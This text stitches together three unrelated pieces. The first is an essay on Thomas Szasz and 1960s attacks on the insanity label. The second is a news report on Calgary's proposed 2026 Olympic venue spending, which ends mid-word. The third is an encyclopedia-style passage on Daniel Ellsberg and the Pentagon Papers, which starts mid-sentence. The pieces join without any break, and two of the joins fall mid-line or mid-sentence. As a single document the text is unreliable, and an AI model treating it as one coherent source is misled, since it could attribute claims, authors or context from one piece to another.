His fellow psychoanalysts, with their ‘left-liberal “progressive” prejudices’, fanatically denounced Republicans as ‘either fascists or sick or both’. As a practising psychoanalyst, an academic psychiatrist (with tenure) and a right-wing libertarian, Szasz felt he belonged to an embattled minority, an elect of a different sort. It was the ideal position from which to deliver his dissident strike.
It came in 1961 with the publication of The Myth of Mental Illness, wherein Szasz asserted that psychiatry, unlike medicine, could demonstrate no physical basis for the ‘diseases’ it identified and ‘treated’.
‘To speak of elevated blood pressure and hypertension,’ he wrote, ‘of sugar in the urine and diabetes, all as “organic symptoms”, and to place them in the same category as hysterical pains and paralyses is a misuse of language; it is nonsensical.’ Masquerading as scientists, psychiatrists abused scientific concepts and deluded their patients.
Worse still, they acted as henchmen for society and state. ‘[T]herapeutic interventions have two faces,’ Szasz wrote; ‘one is to heal the sick, the other is to control the wicked’. Yet the standard for wickedness is always subjective and variable, and so the psychiatrist inherited from the Inquisition the task of quarantining society’s dangerous elements. It was not a coincidence that, even decades after the word ‘psychiatrist’ entered English in 1890, practitioners were often called ‘alienists’, derived from the French aliéné, meaning both ‘alienated’ and ‘insane’. First, Szasz wrote, it was ‘God and the priests’ who kept the unruly in check. Then came ‘the totalitarian leader and his apologists’, along with ‘Freud and the psychoanalysts’.
Dr Thomas Szasz pictured at his 90th birthday seminar in London. Photo by Jennyphotos
The most enthusiastic readers of The Myth of Mental Illness did not share — or even know about — Szasz’s right-wing leanings, which are not evident in the book. As one critic, R E Kendell, the late president of the Royal College of Psychiatrists, has pointed out, his early devotees were often left-wing students eager to overthrow established dogma across the board. Another of Szasz’s critics, the Harvard Medical School psychiatrist Thomas Gutheil, called him ‘a ’60s kind of guy’ and ‘an anti-establishment rebel’.
Szasz certainly wasn’t alone in seeing a sinister force behind diagnoses of insanity. There seems to have been something in the air in 1961: a few months after his book came out, Ken Kesey’s novel One Flew Over the Cuckoo’s Nest (1962) introduced the popular imagination to the iconic nightmare of Nurse Ratched, a character whose narcotic soft power could transform the socially marginal into the terminally insane and literally lobotomise dissent. ‘Total institutions’ are the theme of the Canadian sociologist Erving Goffman’s autobiographical collection, Asylums: Essays on the Social Situation of Mental Patients and Other Inmates (1961). In Goffman’s analysis, mental hospitals were places in which incarcerated individuals were ‘systematically, if often unintentionally mortified’, generally becoming ‘cooperators’; ‘normal’, ‘programmed’, or ‘built-in’ members. It was in 1961 that the French historian Michel Foucault published Madness and Civilization. Foucault, coming from the left, concluded in eerie harmony with Szasz that language was behind the partition of the ‘sane’ from the ‘insane’. ‘[T]he language of psychiatry … is a monologue of reason about madness.’ Also in 1961, Frantz Fanon, a psychiatrist working in Algeria during the Franco-Algerian War, wrote The Wretched of the Earth, condemning the psychiatric profession for using the language of medicine to label African resistance to colonialism as a kind of mental illness.
He declared that ‘psychiatry is a threat to civil liberties, especially to the liberties of individuals stigmatised as “right-wingers” ’
Within this 1961 consensus, Szasz was conspicuously alone in mounting the barricades from the right. But he and his new allies were soon to part ways.
In 1962, Major General Edwin Walker was charged with ‘inciting, assisting, and engaging in an insurrection against the authority of the United States’ for calling on residents of Mississippi to rise up and oppose the admission of a black student into an all-white college. Walker believed, among other things, that communists had infiltrated the US military (if this sounds familiar, it might be because Walker was a model for General Jack D Ripper in Stanley Kubrick’s 1964 film, Dr Strangelove). Instead of facing a military hearing, Walker was flown for examination to the US Medical Center for Federal Prisoners in Missouri. A government psychiatrist concluded, based on reports of Walker’s behaviour, that he was probably mentally disturbed. Szasz protested the decision, and Walker was allowed to go free.
Writing about the Walker case in 2009, Szasz contended that the state’s attempt to pathologise the major general as a ‘racist’ bore comparison with the pathologisation of escaped slaves in the 19th century:
Before the Civil War, proslavery physicians in the South diagnosed black slaves who tried to escape to the North as mentally ill, ‘suffering from drapetomania’. In the Walker case, pro-integration psychiatrists in the North diagnosed white segregationists as mentally ill, ‘suffering from racism’.
After Walker, Szasz took up the cause of a high-profile Republican. In the run-up to the 1964 presidential elections, Fact magazine published ‘The Unconscious of a Conservative: A Special Issue on the Mind of Barry Goldwater’, which contained the results of an informal survey of psychiatrists on the mental competence of the Republican candidate. More than 1,000 respondents declared him ‘psychologically unfit to be president of the United States’, and several offered a diagnosis of paranoid schizophrenia.
Szasz was not among them. In the psychological marginalisation of Walker and Goldwater, he saw a trend towards the pathologisation of the right in general. The following year he declared that ‘psychiatry is a threat to civil liberties, especially to the liberties of individuals stigmatised as “right-wingers”.’ If those on the left focused on how the diagnosis of insanity was being used to marginalise unpopular voices, Szasz insisted the most unpopular voices were to be found, not in the slums or the colonies, but among US conservatives.
And yet, when Szasz chronicled the history of ideological quarantine, his own earliest examples tended to feature conservative henchmen. There was the German physician Carl Theodor Groddeck, who in 1849 wrote and published an MD thesis titled De morbo democratico, nova insaniae forma (On the Democratic Disease, A New Form of Insanity). Groddeck’s thesis warned of a democratic epidemic that might destroy all ‘individual self-consciousness’. Szasz also praised the American socialist writer Jack London, whose 1908 novel The Iron Heel raged against the ‘social role of institutional psychiatry’ in segregating and neutralising leftist opposition. To Szasz, the book was ‘at once perceptive and prophetic’. But it prophesied not the later persecution of the left so much as ‘the tyrannies that were yet to come — in Russia and Germany’:
When such bureaucratic and totalitarian principles and methods are applied to mental health planning and organisation — as indeed they are both in England and the United States — the psychiatric physician emerges as a political evangelist, social activist, and medical despot. His role is to protect the state from the troublesome citizen. All means necessary to achieve this are justified by the loftiness of this aim. The situation in Germany under Hitler offers us a picture — horrible or idyllic depending on our values — of the ensuing political tyranny concealed behind an imagery of illness, and justified by a rhetoric of therapy.
Such was the bridge Szasz constructed between Jack London’s socialism and his own thinking. Both men occupied an unpopular and embattled opposition, both spoke for the marginalised, and both pointed to a truth concealed by institutional authority. Szasz had no use for the gulf between London’s politics and his own, so he ignored it. Right and left needn’t bear any relation to right and wrong.
Szasz arrived at this separation of politics from morality in part by dismantling the justification for the insanity defence. In 1843, a Scottish radical called Daniel M’Naghten shot Edward Drummond, mistaking the private secretary of Britain’s prime minister Sir Robert Peel for Peel himself. In the course of the trial, M’Naghten was found ‘not guilty by reason of insanity’, and confined to an asylum for the criminally insane. Owing to the high profile of his intended target, this verdict proved unpopular. A select panel of English judges gathered to opine on the legal application of the insanity defence, and their responses were codified as the M’Naghten Rules, which have since set the terms for the insanity plea in judiciaries around the world. Their crux is that, to establish a defence on the ground of insanity, it must be proven that the accused was ‘labouring under such a defect of reason … as not to know the nature and quality of the act he was doing; or, if he did know it, that he did not know he was doing what was wrong’.
In other days France was the name of a country. We should take care that in 1961 it does not become the name of a nervous disease
For Szasz, the M’Naghten Rules failed to acknowledge all the many different circumstances that could impair a person’s capacity to tell right from wrong. They made no distinction between the influences of congenital idiocy, drunkenness and, most importantly for Szasz, ideology. As he wrote in his book Law, Liberty, and Psychiatry (1963): ‘The socioeconomic, political, and ethical implications of deviant behaviour were obscured in favour of its so-called medical causes.’ Thus an act like M’Naghten’s lost all political meaning simply because it was deemed to have been committed by a madman.
Given this history of medical persecution, the insanity defence was one area where Szasz and leftist-progressives of the time could agree on the terms of engagement. Both sides argued it was unfair to call political opponents crazy (although both also did so regularly), and both sides asserted that their own ‘unpopular politics’ had a right to a hearing and a special moral status precisely because they were on the embattled fringe. Yet Szasz’s unease with the insanity label went beyond its propensity to classify political opposition as madness. In line with his distinctively conservative perspective, he also feared that it removed responsibility from criminal acts. Unpopular politics should literally have their day in court, and this meant talking about a defendant’s motives (political or otherwise), as well as punishing them for crimes they had committed. This was not a matter of science, but of morality.
The same year that The Myth of Mental Illness appeared, the logistical mastermind behind the Holocaust of Hungarian Jewry, Adolf Eichmann, was put on trial in Jerusalem. Eichmann’s case brought the very concept of criminal guilt into question in a new way. In her 1963 book on the trial, the philosopher Hannah Arendt insisted that Eichmann, far from being a monster or a ‘Bluebeard in the dock’, was, in fact, ‘terribly and terrifyingly normal’. She expressed unease with the idea that intent to do wrong is necessary for the commission of a crime. ‘Where this intent is absent,’ she wrote, ‘where, for whatever reasons, even reasons of moral insanity, the ability to distinguish between right and wrong is impaired, we feel no crime has been committed.’ Eichmann was operating in a society that did not merely accept but actively encouraged the killing of Jews, so it was ‘not his fanaticism but his very conscience that prompted Eichmann to adopt his uncompromising attitude’. Nevertheless, Arendt insisted, he was guilty, and his very normality was part of his guilt.
The left raised no objection to Eichmann being considered ‘normal’, because ‘normal’ was just what the decade of dissent despised most. Jean-Paul Sartre, in the preface to Fanon’s The Wretched of the Earth, argued that everyone who lived within the system was guilty of participating in it. Naturally, he used the insanity label to make the case:
Fanon reminds us that not so very long ago, a congress of psychiatrists was distressed by the criminal propensities of the native population. ‘Those people kill each other,’ they said, ‘that isn’t normal’ … These learnt men would do well today to follow up their investigations in Europe, and particularly with regard to the French … since our patriots do quite a bit of assassinating of their fellow-countrymen … In other days France was the name of a country. We should take care that in 1961 it does not become the name of a nervous disease.
Under the pressure of this two-flanked attack on normality, it’s little wonder that the political spectrum seemed to converge just as the ethical polarity between ‘normal’ and ‘insane’ was reversed. Arendt’s theory of totalitarianism encompassed both extreme ends of the political spectrum; in Hitler’s Germany and Stalin’s USSR alike, she saw a ‘novel form of government’ whose values were ‘radically different from all others’. This made Eichmann a new type of criminal, one who ‘commits his crimes under circumstances that make it well-nigh impossible for him to know or feel that he is doing wrong’. As such, the M’Naghten Rules simply did not apply. All that the insanity label achieved was to excuse the new criminal and quarantine the dissident.
Nevertheless, in seeking to discredit the insanity defence in order to preserve morality, perhaps Szasz and Arendt both came unmoored from the traditional political spectrum altogether. This might explain why Szasz’s view of mental illness as a myth was shared by many on the left. As for Arendt, when in 1972 the American political scientist Hans Morgenthau asked about her politics — ‘What are you? Are you a conservative? Are you a liberal?’ — she replied: ‘You know the left think that I am conservative, and the conservatives sometimes think I am left or I am a maverick or god knows what. And I must say I couldn’t care less.’
In some ways, the spirit of 1961-style iconoclasm around the insanity label might seem very distant now. Certainly the medicalisation of ‘abnormal’ behaviors continues, to the extent that Szasz’s repeated insistence that ‘ADHD is not a disease’ did nothing to slow the persistent increase in diagnoses. Still, there are signs that we have come to share his moral discomfort with the judicial notion of insanity. On 22 July 2011, Anders Behring Breivik killed 77 people at a government building and left-wing youth camp near Oslo in Norway. Before long, a morbidly fascinated worldwide audience was scouring the 1,500-page manifesto he had posted online, finding citations from a leftist literary critic, a Nobel Prize-winning Holocaust survivor, Vlad the Impaler, and the Unabomber, among others. Was Breivik’s deed political or merely mad? This question became central to the legal case against him. An initial psychiatric panel diagnosed him with paranoid schizophrenia.
After the results of the first evaluation were announced, the killer, as well as many of his victims and their families, cried foul. In a long letter addressed to the Norwegian media, Breivik — an unapologetic exponent of the extreme right who greeted the court with a raised fist in fascist salute — wrote: ‘To send a political activist to a mental hospital is more sadistic and more evil than killing him! It is a fate worse than death.’ Meanwhile, 56 of the victims and their families complained that if Breivik were declared insane, it would mean that he was not responsible for his crimes. In that moment, right and left converged on the claim that applying the insanity label would amount to a miscarriage of justice. Both sides were satisfied when a second evaluation declared him sane. In the words of Tore Sinding Beddekal, one survivor of the shootings: ‘I am relieved to see this verdict. The temptation for people to fob him off as a madman has gone.’
On 8 September 2012, barely two weeks after Breivik was sentenced to 21 years in prison, the death of Thomas Szasz placed a peculiar bracket on an era of dissent. Though several decades have passed since he first called mental illness a myth, our world is still very much under the influence of his time, when right and left sought to eliminate insanity in order to lionise dissent, legitimise the marginal and condemn the new normal. Few other issues show a convergence of right and left so far-reaching, while still allowing both sides to adhere to their politics and maintain a sense of total opposition. A hero is born for one side at the same moment that the axe of justice falls for the other, and so it seems that everybody wins. But it might also be that something has been lost. Cosseted by such a firm consensus, could we even recognise true dissent if we saw it?
Correction, 14 May 2013: the original version of this article stated that Szasz was a Republican. The more accurate designation is right-wing libertarian.About two-thirds of the money needed to renovate and build venues necessary for Calgary to host the 2026 Winter Olympics would be spent upgrading two privately controlled ski resorts and on facilities that would either be torn down or leave little benefit to the city and surrounding area after the Games, The Globe and Mail has found after examining the master plan recommended to city council.
The Olympic bid exploration committee's capital budget to prepare 14 venues for the Games rings in at $391.82-million. Thirteen of the facilities in the master plan require an infusion of cash, the committee said. The one that does not need extra money does not yet exist.
City council voted 9-4 Wednesday to continue examining the feasibility of hosting the Winter Olympics, which would be Calgary's second in 38 years. After considering a report from the bid exploration committee, city administrators said this week that more information – and justification – is needed to determine the usefulness of the proposed new sporting venues and how spending would alter existing facilities.
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Related: Calgary city council votes to continue exploring 2026 Winter Olympics bid
Related: Calgary capable of hosting Olympics, but further study needed: committee report
Related: Calgary grapples with an Olympic-sized question: how to fund the Games
City staff emphasized that a bid as proposed by the committee could simply be too costly for Calgary.
The committee's overall Olympic budget of $4.6-billion depends on taxpayers kicking in $2.4-billion. The proposed budget assumes half of that would come from the federal government, with the remaining portion from provincial and municipal coffers. Even after accounting for revenue from ticket sales, sponsorship and other sources, the 2026 Winter Olympics would end up $425-million in the hole, according to the feasibility study. Calgary, city officials said, could be on the hook for this, too.
The city and the study group want to work with the International Olympic Committee to see if there is a way to lower costs and lock in financial responsibilities.
Olympic boosters like to focus on the "legacy" of hosting a Games in Canada and, specifically, Calgary, Canmore, Lake Louise and Kananaskis. Investing in venues would benefit the country because it would create and maintain top-notch facilities that would be used by the public and could attract more international competitions, the argument goes. Calgary's sporting culture would be invigorated, and homegrown talent would be nurtured.
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Former Olympian and medalist, long track speed skater Susan Auch carried the Olympic torch while skating the speed skating rink at Calgary’s Olympic Oval during the torch relay ahead of the 2010 Vancouver Games. Deborah Baic/For The Globe and Mail
Cheerleaders also point out that venues built for the 1988 Games need to be spruced up regardless of whether the sporting spectacle returns to Alberta, so hosting again further justifies spending those millions.
But in their report, bureaucrats said it would be "challenging" for Calgary to take on debt tied to the Olympics.
The study group said two venues likely would be torn down after the Games. Four venues that would be revamped would revert to their original purposes after 2026, and one of those – a field house – does not yet exist and is unfunded. The committee further conceded that a new ski jumping facility would leave questionable benefits.
Just six venues that would be upgraded under the proposed budget would leave definitive legacies. Two of those are the privately controlled ski resorts.
Only one facility – the main hockey arena – would not require additional investment, according to the committee's master plan. But that facility, proposed by a privately held organization, has not been built. It is unclear whether taxpayers would have to chip in to pay for its construction, regardless of whether Calgary hosts the Olympics.
Here's a breakdown of the master vision for Olympic facilities.
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Privately operated venues: $49.08-million
Billionaire Murray Edwards, who made his money in the energy industry, operates Nakiska Ski Area, about an hour west of Calgary in a mountain park known as Kananaskis Country. Nakiska was built for the 1988 Olympics but would need $28.06-million in upgrades should Calgary be awarded the 2026 Games, the master plan states.
Nakiska's day lodge would be spruced up and its ski trails and base area improved. It would be left with better road service to its mid-mountain and upgraded electrical systems. Furthermore, the Olympics require night lighting, which Nakiska does not have.
American skier Lindsey Vonn competes during the 2015 Audi FIS Alpine Ski World Cup Women’s Downhill Training in Lake Louise, Alta. Alexis Boichard/Agence Zoom/Getty Images
(Mr. Edwards is also the principal owner of Calgary Sport and Entertainment Corp., which controls the Calgary Flames and other teams. CSEC is behind the proposed new arena in the Olympic plan.)
Charlie Locke, a former investment banker, controls Lake Louise Ski Resort, an international destination in Banff National Park. The Olympic bid exploration committee's proposed budget would funnel $21.02-million into the resort to meet the IOC's requirements. Lake Louise, which can host 6,500 skiers a day but has ambitions to increase that to 9,500, would be left with better runs, snow-making abilities and safety equipment, according to the feasibility report.
However, because Lake Louise is in a national park, negotiations with the federal government over development could prove tricky. Calgary was not allowed to stage alpine ski events at Lake Louise in 1988.
Facilities to be torn down after the Games: $28.4-million
Calgary's Stampede Corral, a 67-year-old building that is already tagged for demolition, would need $18.88-million in upgrades in order to host B-list hockey games, according to the master plan. The committee expects the Corral will be demolished after the Games.
Meanwhile, the Scotiabank Saddledome – constructed in 1983, renovated in 1995 and fixed up after the 2013 flood – would need $9.52-million to bring it up to speed for 2026. This would "refresh the facility and provide minor upgrades," the report says. For example, the washrooms would be updated, and the mechanical and electrical systems would receive a boost to increase reliability.
However, should the proposed new arena materialize, the Saddledome will likely be torn down, the committee report said. The Calgary Stampede, which controls the Saddledome's fate, has indicated it is willing to hold off the demolition until after 2026 should the IOC award Calgary the Games.
Venues to be reconfigured after the Games: $123.57-million
The Olympic committee proposed temporarily reconfiguring the rodeo ring and chuckwagon track on the Stampede grounds into a suitable place for the opening, closing and medal ceremonies. This would cost $26.05-million, according to the budget, but that excludes the price of upgrading some concessions, washrooms, lighting, electrical and additional temporary seating.
Furthermore, the Agrium Western Event Centre near the Saddledome would be turned into a practice facility for figure skating. This would cost at least $1.27-million, and the facility would return to its original purpose afterward. The feasibility plan's budget assumes renting an ice and dehumidification plant, but if these were purchased they could be reused. That, however, would cost extra.
The study group figured the BMO Centre, the aging Big Four Building and temporary modules could house the International Broadcast Centre and Main Press Centre. It would cost $78.75-million to make this happen. Even then, this would require Olympic officials to ease the requirements for these facilities, according to a confidential section of the feasibility report obtained by The Globe.
"The legacy component of the upgrades to the BMO Centre and Big Four Building is the quieter and more efficient LED lights and the quieter heating and ventilating systems," the public portion of the report says.
The committee's plan for curling also leaves Calgary with little legacy. The group proposed housing the event at the Foothills field house, but this facility does not exist. It is in Calgary's development plans, but it is unfunded. Moreover, its intended purpose does not involve curling. Instead, it is intended to be a track |
to write much later, these documents "demonstrated, among other things, that the Johnson Administration had systematically lied, not only to the public but also to Congress, about a subject of transcendent national interest and significance".[13]
Shortly after Ellsberg copied the documents, he resolved to meet some of the people who had influenced both his change of heart on the war and his decision to act. One of them was Randy Kehler. Another was the poet Gary Snyder, whom he had met in Kyoto in 1960, and with whom he had argued about U.S. foreign policy; Ellsberg was finally prepared to concede that Gary Snyder had been right, about both the situation and the need for action against it.[14]
Release and publication [ edit ]
Throughout 1970, Ellsberg covertly attempted to persuade a few sympathetic U.S. Senators—among them J. William Fulbright, chair of the Senate Foreign Relations Committee, and George McGovern, a leading opponent of the war—to release the papers on the Senate floor, because a Senator could not be prosecuted for anything he said on the record before the Senate.[15]
Ellsberg allowed some copies of the documents to circulate privately, including among scholars at the Institute for Policy Studies (IPS). Ellsberg also shared the documents with The New York Times correspondent Neil Sheehan, who wrote a story based on what he had received both directly from Ellsberg and from contacts at IPS.[16]
On Sunday, June 13, 1971, the Times published the first of nine excerpts from, and commentaries on, the 7,000 page collection. For 15 days, the Times was prevented from publishing its articles by court order requested by the Nixon administration. Meanwhile, while eluding an FBI manhunt for thirteen days, Ellsberg leaked the documents to The Washington Post and 17 other newspapers.[17] On June 30, the US Supreme Court ordered free resumption of publication by the Times (New York Times Co. v. United States). Two days prior to the Supreme Court's decision, Ellsberg publicly admitted his role in releasing the Pentagon Papers to the press.[18]
On June 29, 1971, U.S. Senator Mike Gravel of Alaska entered 4,100 pages of the Papers into the record of his Subcommittee on Public Buildings and Grounds—pages which he had received from Ellsberg via Ben Bagdikian, then an editor at the Washington Post.
Fallout [ edit ]
The release of these papers was politically embarrassing not only to those involved in the Kennedy and Johnson administrations but also to the incumbent Nixon administration. Nixon's Oval Office tape from June 14, 1971, shows H. R. Haldeman describing the situation to Nixon:
Nixon Oval Office meeting with H.R. Haldeman, Monday, 14 June 1971, 3:09 p.m.. (Quote begins at about 7:30 into the recording) Transcript here
Rumsfeld was making this point this morning... To the ordinary guy, all this is a bunch of gobbledygook. But out of the gobbledygook comes a very clear thing.... You can't trust the government; you can't believe what they say; and you can't rely on their judgment; and the – the implicit infallibility of presidents, which has been an accepted thing in America, is badly hurt by this, because It shows that people do things the president wants to do even though it's wrong, and the president can be wrong.[19]
John Mitchell, Nixon's Attorney General, almost immediately issued a telegram to the Times ordering that it halt publication. The Times refused, and the government brought suit against it.
Although the Times eventually won the trial before the Supreme Court, prior to that, an appellate court ordered that the Times temporarily halt further publication. This was the first time the federal government was able to restrain the publication of a major newspaper since the presidency of Abraham Lincoln during the U.S. Civil War. Ellsberg released the Pentagon Papers to seventeen other newspapers in rapid succession.[20] The right of the press to publish the papers was upheld in New York Times Co. v. United States. The Supreme Court ruling has been called one of the "modern pillars" of First Amendment rights with respect to freedom of the press.[21]
In response to the leaks, Nixon White House staffers began a campaign against further leaks and against Ellsberg personally.[22] Aides Egil Krogh and David Young, under the supervision of John Ehrlichman, created the "White House Plumbers", which would later lead to the Watergate burglaries.
Fielding break-in [ edit ]
In August 1971, Krogh and Young met with G. Gordon Liddy and E. Howard Hunt in a basement office in the Old Executive Office Building. Hunt and Liddy recommended a "covert operation" to get a "mother lode" of information about Ellsberg's mental state in order to discredit him. Krogh and Young sent a memo to Ehrlichman seeking his approval for a "covert operation [to] be undertaken to examine all of the medical files still held by Ellsberg's psychiatrist", Lewis Fielding. Ehrlichman approved under the condition that it be "done under your assurance that it is not traceable."[23]
On September 3, 1971, the burglary of Fielding's office—titled "Hunt/Liddy Special Project No. 1" in Ehrlichman's notes—was carried out by White House Plumbers Hunt, Liddy, Eugenio Martínez, Felipe de Diego and Bernard Barker (the latter three were, or had been, recruited CIA agents).[24] The Plumbers found Ellsberg's file, but it apparently did not contain the potentially embarrassing information they sought, as they left it discarded on the floor of Fielding's office.[25] Hunt and Liddy subsequently planned to break into Fielding's home, but Ehrlichman did not approve the second burglary. The break-in was not known to Ellsberg or to the public until it came to light during Ellsberg and Russo's trial in April 1973.
Trial and dismissal [ edit ]
On June 28, 1971, two days before a Supreme Court ruling saying that a federal judge had ruled incorrectly about the right of The New York Times to publish the Pentagon Papers,[7] Ellsberg publicly surrendered to the United States Attorney's Office for the District of Massachusetts in Boston. In admitting to giving the documents to the press, Ellsberg said:
I felt that as an American citizen, as a responsible citizen, I could no longer cooperate in concealing this information from the American public. I did this clearly at my own jeopardy and I am prepared to answer to all the consequences of this decision.[7]
He and Russo faced charges under the Espionage Act of 1917 and other charges including theft and conspiracy, carrying a total maximum sentence of 115 years for Ellsberg, 35 years for Russo. Their trial commenced in Los Angeles on January 3, 1973, presided over by U.S. District Judge William Matthew Byrne Jr. Ellsberg tried to claim that the documents were illegally classified to keep them not from an enemy but from the American public. However, that argument was ruled "irrelevant". Ellsberg was silenced before he could begin. Ellsberg said, in 2014, that his "lawyer, exasperated, said he 'had never heard of a case where a defendant was not permitted to tell the jury why he did what he did.' The judge responded: 'Well, you're hearing one now'. And so it has been with every subsequent whistleblower under indictment".[26]
In spite of being effectively denied a defense, Ellsberg began to see events turn in his favor when the break-in of Fielding's office was revealed to Judge Byrne in a memo on April 26; Byrne ordered it to be shared with the defense.[27][28]
On May 9, further evidence of illegal wiretapping against Ellsberg was revealed in court. The FBI had recorded numerous conversations between Morton Halperin and Ellsberg without a court order, and furthermore the prosecution had failed to share this evidence with the defense.[29] During the trial, Byrne also revealed that he personally met twice with John Ehrlichman, who offered him directorship of the FBI. Byrne said he refused to consider the offer while the Ellsberg case was pending, though he was criticized for even agreeing to meet with Ehrlichman during the case.[28]
Due to the gross governmental misconduct and illegal evidence gathering, and the defense by Leonard Boudin and Harvard Law School professor Charles Nesson, Judge Byrne dismissed all charges against Ellsberg and Russo on May 11, 1973 after the government claimed it had lost records of wiretapping against Ellsberg. Byrne ruled: "The totality of the circumstances of this case which I have only briefly sketched offend a sense of justice. The bizarre events have incurably infected the prosecution of this case."[28]
As a result of the revelations involving the Watergate scandal, John Ehrlichman, H. R. Haldeman, Richard Kleindienst, and John Dean were forced out of office on April 30, and all would later be convicted of crimes related to Watergate. Egil Krogh later pleaded guilty to conspiracy, and White House counsel Charles Colson pleaded no contest for obstruction of justice in the burglary.
Halperin case [ edit ]
It was also revealed in 1973, during Ellsberg's trial, that the telephone calls of Mort Halperin, a member of the U.S. National Security Council staff suspected of leaking information about the secret bombing of Cambodia to The New York Times, were being recorded by the FBI at the request of Henry Kissinger to J. Edgar Hoover.
Halperin and his family sued several federal officials, claiming the wiretap violated their Fourth Amendment rights and Title III of the Omnibus Crime Control and Safe Streets Act of 1968. The court agreed that Richard Nixon, John Mitchell, and H. R. Haldeman had violated the Halperins' Fourth Amendment rights and awarded them $1 in nominal damages.[30]
Plumbers LSD plan [ edit ]
Ellsberg later claimed that after his trial ended, Watergate prosecutor William H. Merrill informed him of an aborted plot by Liddy and the "Plumbers" to have 12 Cuban Americans who had previously worked for the CIA "totally incapacitate" Ellsberg when he appeared at a public rally. It is unclear whether they were meant to assassinate Ellsberg or merely to hospitalize him.[31][32] In his autobiography, Liddy describes an "Ellsberg neutralization proposal" originating from Howard Hunt, which involved drugging Ellsberg with LSD, by dissolving it in his soup, at a fund-raising dinner in Washington in order to "have Ellsberg incoherent by the time he was to speak" and thus "make him appear a near burnt-out drug case" and "discredit him." The plot involved waiters from the Miami Cuban community. According to Liddy, when the plan was finally approved, "there was no longer enough lead time to get the Cuban waiters up from their Miami hotels and into place in the Washington Hotel where the dinner was to take place" and the plan was "put into abeyance pending another opportunity."[33]
Later activism and views [ edit ]
Video interview with Daniel Ellsberg at Roskilde Universitets Center, Denmark, 2004-10-26. (Unedited, the first 10 seconds are black.)
Since the end of the Vietnam War, Ellsberg has continued his political activism, giving lecture tours and speaking out about current events. Reflecting on his time in government, Ellsberg has said the following, based on his extensive access to classified material:
The public is lied to every day by the President, by his spokespeople, by his officers. If you can't handle the thought that the President lies to the public for all kinds of reasons, you couldn't stay in the government at that level, or you're made aware of it, a week.... The fact is Presidents rarely say the whole truth—essentially, never say the whole truth—of what they expect and what they're doing and what they believe and why they're doing it and rarely refrain from lying, actually, about these matters.[34]
Anti-war activism [ edit ]
In an interview with Democracy Now on May 18, 2018, Ellsberg has been critical of U.S. intervention overseas especially in the Middle East, stating, "I think, in Iraq, America has never faced up to the number of people who have died because of our invasion, our aggression against Iraq, and Afghanistan over the last 30 years, since we first inspired a CIA-sponsored jihad against the Soviets there, and led to the invasion by the Soviets. What we’ve done to the Middle East has been hell."[35]
Activism against US-led war against Iraq [ edit ]
During the runup to the 2003 invasion of Iraq he warned of a possible "Tonkin Gulf scenario" that could be used to justify going to war, and called on government "insiders" to go public with information to counter the Bush administration's pro-war propaganda campaign, praising Scott Ritter for his efforts in that regard.[36] He later supported the whistleblowing efforts of British GCHQ translator Katharine Gun and called on others to leak any papers that reveal government deception about the invasion.[37] Ellsberg also testified at the 2004 conscientious objector hearing of Camilo Mejia at Fort Sill, Oklahoma.[37]
Ellsberg was arrested, in November 2005, for violating a county ordinance for trespassing while protesting against George W. Bush's conduct of the Iraq War.[38]
He is a member of Campaign for Peace and Democracy.
Activism against US military action against Iran [ edit ]
In September 2006, Ellsberg wrote in Harper's Magazine that he hoped someone would leak information about a potential U.S. invasion of Iran before the invasion happened, to stop the war.[39] Ellsberg called for further leaks following the release of information on the acceleration of U.S.-sponsored anti-government activity in Iran that was leaked to journalist Seymour Hersh. In November 2007, Ellsberg was interviewed by Brad Friedman on his blog in regard to former FBI translator turned whistle blower Sibel Edmonds. "I'd say what she has is far more explosive than the Pentagon Papers", Ellsberg told Friedman.[40]
In a speech on March 30, 2008 in San Francisco's Unitarian Universalist church, Ellsberg observed that House Speaker Nancy Pelosi doesn't really have the authority to declare impeachment "off the table". The oath of office taken by members of congress requires them to "defend the Constitution of the United States against all enemies, foreign and domestic". He also argued that under the U.S. Constitution, treaties, including the United Nations Charter, become the supreme law of the land that neither the states, the president, nor the congress have the power to break. For example, if the Congress votes to authorize an unprovoked attack on a sovereign nation, that authorization wouldn't make the attack legal. A president citing the authorization as just cause could be prosecuted in the International Criminal Court for war crimes.[41]
Ellsberg speaking in 2008
At San Francisco Pride Parade 2013
Support for American whistleblowers [ edit ]
On December 9, 2010, Ellsberg appeared on The Colbert Report where he commented that the existence of WikiLeaks helps to build a better government.[42]
On March 21, 2011, Ellsberg, along with 35 other demonstrators, was arrested during a demonstration outside the Marine Corps Base Quantico, in protest of Manning's current detention at Marine Corps Brig, Quantico.[43]
On June 10, 2013, Ellsberg published an editorial in The Guardian newspaper praising the actions of former Booz Allen worker Edward Snowden in revealing top-secret surveillance programs of the NSA.[44] Ellsberg believes that the United States has fallen into an "abyss" of total tyranny, but said that because of Snowden's revelations, "I see the unexpected possibility of a way up and out of the abyss."
In June 2013, Ellsberg and numerous celebrities appeared in a video showing support for Chelsea Manning.[45][46]
On June 17, 2010, Ellsberg was interviewed regarding the parallels between his actions in releasing the Pentagon Papers and those of Private First Class Chelsea Manning, who was arrested by the U.S. military in Iraq after allegedly providing to WikiLeaks a classified video showing U.S. military helicopter gunships strafing and killing Iraqis alleged to be civilians, including two Reuters journalists. Manning claimed to have provided WikiLeaks with secret videos of additional massacres of alleged civilians in Afghanistan, as well as 260,000 classified State Department cables. Ellsberg said that he fears for Manning and for Julian Assange, as he feared for himself after the initial publication of the Pentagon Papers. WikiLeaks initially said it had not received the cables, but did plan to post the video of an attack that killed 86 to 145 Afghan civilians in the village of Garani. Ellsberg expressed hope that either Assange or President Obama would post the video, and expressed his strong support for Assange and Manning, whom he called "two new heroes of mine".[47][48]
Democracy Now! devoted a substantial portion of its program July 4, 2013, to "How the Pentagon Papers Came to be Published By the Beacon Press Told by Daniel Ellsberg & Others." Ellsberg said there are hundreds of public officials right now who know that the public is being lied to about Iran. They all took an oath to protect the Constitution of the United States, not the commander-in-chief, not superior officers. If they follow orders, they may become complicit in starting an unnecessary war. If they are faithful to their oath, they could prevent that war. Exposing official lies could however carry a heavy personal cost as they could be imprisoned for unlawful disclosure of classified information.[49]
In 2012, Ellsberg became one of the co-founders of the Freedom of the Press Foundation.
Ellsberg is a founding member of the Veteran Intelligence Professionals for Sanity.[50] In September 2015 Ellsberg and 27 other members of VIPS steering group wrote a letter to the President challenging a recently published book, that claimed to rebut the report of the United States Senate Intelligence Committee on the Central Intelligence Agency's use of torture.
In December 2015, Ellsberg publicly supported the Tor anonymity network, referencing its utility for whistle blowing in general for the maintenance of democracy via the First Amendment.[51]
Support for Occupy Movement [ edit ]
On November 16, 2011 Ellsberg camped on the UC Berkeley Sproul Plaza as part of an effort to support the Occupy Cal movement.[52]
The Doomsday Machine [ edit ]
